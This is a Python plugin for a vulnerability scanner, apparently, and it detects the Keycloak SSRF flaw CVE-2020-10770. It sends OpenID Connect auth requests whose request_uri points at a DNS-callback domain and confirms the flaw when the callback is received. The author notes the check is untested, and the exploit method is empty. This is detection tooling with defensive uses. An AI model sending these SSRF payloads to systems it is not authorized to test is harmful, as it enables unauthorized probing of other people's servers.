#!/usr/bin/env python3
# -*- coding:utf-8 -*-

''' 该POC没有经过实际环境验证(暂未找到漏洞环境, 还没测试POC准确性)
Keycloak SSRF
    CVE-2020-10770
        Payload: AWVS scanner

强制目标服务器使用OIDC参数请求request_uri调用未经验证的URL
'''

from lib.api.dns import dns
from lib.tool.md5 import random_md5
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        self.payloads = [
            {'path': 'auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=DNSDOMAIN'},
            {'path': 'realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=DNSDOMAIN'},
            {'path': 'master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=DNSDOMAIN'},
            {'path': 'protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=DNSDOMAIN'},
            {'path': 'openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=DNSDOMAIN'},
        ]
    
    def POC(self, clients):
        client = clients.get('reqClient')
        sessid = '4a397cf8261c330c8e8c8f584b1b647a'
        
        vul_info = {
            'app_name': 'Keycloak',
            'vul_type': 'SSRF',
            'vul_id': 'CVE-2020-10770',
        }

        for payload in self.payloads:                               # * Payload
            md = random_md5()                                       # * 随机md5值, 8位
            dns_domain = md + '.' + dns.domain(sessid)              # * dnslog/ceye域名

            path = payload['path'].replace('DNSDOMAIN', dns_domain) # * Path

            res = client.request(
                'get',
                path,
                vul_info=vul_info
            )
            if res is None:
                continue

            if ((res.status_code == 400) and (dns.result(md, sessid))):
                results = {
                    'Target': res.request.url,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Request': res
                }
                return results
        return None            
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
